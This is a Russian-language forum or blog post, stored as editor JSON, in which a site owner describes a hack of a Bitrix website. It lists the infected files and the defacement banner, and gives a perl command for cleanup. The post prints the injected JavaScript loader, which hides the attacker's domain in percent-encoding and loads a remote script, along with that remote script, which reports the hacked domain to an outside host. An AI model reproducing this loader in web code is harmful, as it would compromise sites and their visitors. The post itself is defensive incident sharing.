{"draftJsState":{"blocks":[{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Столкнулся с вирусом на веб-сайте с использованием google tagmanager и pageads на сайте Битрикс. Может быть описание кому-то поможет.","type":"unstyled","key":"b11nt"},{"data":{"image":{"id":"690a31a0ca24586098fe0075"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Скрин вирусного кода","type":"atomic:image","key":"bfi2b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Взлом: подгружается скрипт","type":"unstyled","key":"11hf7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"URL запроса","type":"unstyled","key":"1a7jm"},{"data":{},"depth":0,"entityRanges":[{"key":0,"length":116,"offset":0},{"key":1,"length":68,"offset":121},{"key":2,"length":121,"offset":191}],"inlineStyleRanges":[],"text":"https://googleads.g.doubleclick.net/pagead/viewthroughconversion/643629910/?random=1762077472446&cv=11&fst=176207747....\nhttps://www.googletagmanager.com/gtag/js?id=G-EJ6T9LN45P&cx=c&_slc=1\n\nhttps://googleads.g.doubleclick.net/pagead/viewthroughconversion/643629910/?random=1762077472446&cv=11&fst=1762077472446....\n\n\nВ структуре есть очень большой файл с повторяющимися строками","type":"unstyled","key":"2mn88"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":".mod.txt","type":"unstyled","key":"ml9u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"eyJVTklRVUVfSUQiOiJhT0EzQk ....","type":"unstyled","key":"8nn7j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Также много файлов fine.php и .буквы_цифры.php почти в каждой папке","type":"unstyled","key":"cob04"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Переписываются файлы","type":"unstyled","key":"aemtn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":".access.php","type":"unstyled","key":"5dn38"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"c607s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Найден видимо не относящийся к этому вирусу файл","type":"unstyled","key":"f2au4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"/bitrix/admin/on.php","type":"unstyled","key":"9mhpp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"ab30f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Через www.googletagmanager.com вызывается файл","type":"unstyled","key":"dnnun"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"gardenswood.ru/bitrix/fonts/jsfont/awesome.js (файл до сих пор лежит по этому УРЛ)","type":"unstyled","key":"5bgfm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Состав:","type":"unstyled","key":"ek44m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"document.write();","type":"unstyled","key":"7hh2v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"function awesome() {","type":"unstyled","key":"7rv8n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"domain = new URL(window.location).hostname;","type":"unstyled","key":"f5upb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"check = btoa(domain).substring(0,8);","type":"unstyled","key":"58kab"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"rurl = 'https://rcaa.ru/whatCyberDefenseDoing/?hacked='+domain+'&check='+check;","type":"unstyled","key":"3fkgd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"htmlcode = `","type":"unstyled","key":"1s53e"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"3haci"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"

","type":"unstyled","key":"bnj83"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"

#whatCyberDefenseDoing ?

","type":"unstyled","key":"b00oo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"разрушает Россию.....","type":"unstyled","key":"88kcl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"c18sc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"ВСЕ ФАЙЛЫ\n/bitrix/js/main/core\nсодержат код:\n\n/* font awesome */\nif(!window.fontawesome_script) {\nvar fontawesome_script = document.createElement('script');\nvar fontawesome_api = \"ps://\" + decodeURIComponent(\"%67%61%72%64%65%6e%73%77%6f%6f%64%2e%72%75\");","type":"unstyled","key":"f6dhr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"fontawesome_script.setAttribute('src', 'htt' + fontawesome_api + '/bitrix/fonts/jsfont/awesome.js');\ndocument.head.appendChild(fontawesome_script);\n};","type":"unstyled","key":"8v45m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\n\nОтключение Гугл ID в настройках Битрикс может помочь.","type":"unstyled","key":"i5v8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"замена JS-инъекций в коде JS файлов в папке /home/bitrix/www/bitrix/js/main/core или /bitrix/js/main/core от корня сайта\n\n# Выполняем замену с помощью perl\nfind . -name \"*.js\" -type f -exec perl -i -0777 -pe 's|/\\* babelHelpers \\*/.*?document\\.head\\.appendChild\\(fontawesome_script\\);\\s*\\}| |gs' {} \\;","type":"unstyled","key":"bmf50"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"5k5ss"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"2s3er"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"cdgup"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"26oa"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"marker","key":"FJ8B6tUebPVhhjx5miEb"}],"entityMap":{"0":{"data":{"url":"https://googleads.g.doubleclick.net/pagead/viewthroughconversion/643629910/?random=1762077472446&cv=11&fst=1762077472446&bg=ffffff&guid=ON&async=1>m=45be5au0h2z8811808895za200zb811808895zd811808895xea&gcd=13l3l3l3l1l1&dma=0&tag_exp=101509157~103116026~103200004~103233427~104527907~104528501~104684208~104684211~104948813~115480709~115583767~115616985~115938466~115938468~116217636~116217638~116253087~116253089&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.cleanart.ru%2F&frm=0&tiba=HACKED%20www.cleanart.ru%20%23whatCyberDefenseDoing&hn=www.googleadservices.com&npa=0&pscdl=noapi&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B141.0.7390.123%7CNot%253FA_Brand%3B8.0.0.0%7CChromium%3B141.0.7390.123&uamb=0&uam=&uap=macOS&uapv=12.7.6&uaw=0&_tu=CA&rfmt=3&fmt=4"},"mutability":"MUTABLE","type":"LINK"},"1":{"data":{"url":"https://www.googletagmanager.com/gtag/js?id=G-EJ6T9LN45P&cx=c&_slc=1"},"mutability":"MUTABLE","type":"LINK"},"2":{"data":{"url":"https://googleads.g.doubleclick.net/pagead/viewthroughconversion/643629910/?random=1762077472446&cv=11&fst=1762077472446&bg=ffffff&guid=ON&async=1>m=45be5au0h2z8811808895za200zb811808895zd811808895xea&gcd=13l3l3l3l1l1&dma=0&tag_exp=101509157~103116026~103200004~103233427~104527907~104528501~104684208~104684211~104948813~115480709~115583767~115616985~115938466~115938468~116217636~116217638~116253087~116253089&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.cleanart.ru%2F&frm=0&tiba=HACKED%20www.cleanart.ru%20%23whatCyberDefenseDoing&hn=www.googleadservices.com&npa=0&pscdl=noapi&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B141.0.7390.123%7CNot%253FA_Brand%3B8.0.0.0%7CChromium%3B141.0.7390.123&uamb=0&uam=&uap=macOS&uapv=12.7.6&uaw=0&_tu=CA&rfmt=3&fmt=4"},"mutability":"MUTABLE","type":"LINK"}}},"mentions":[]}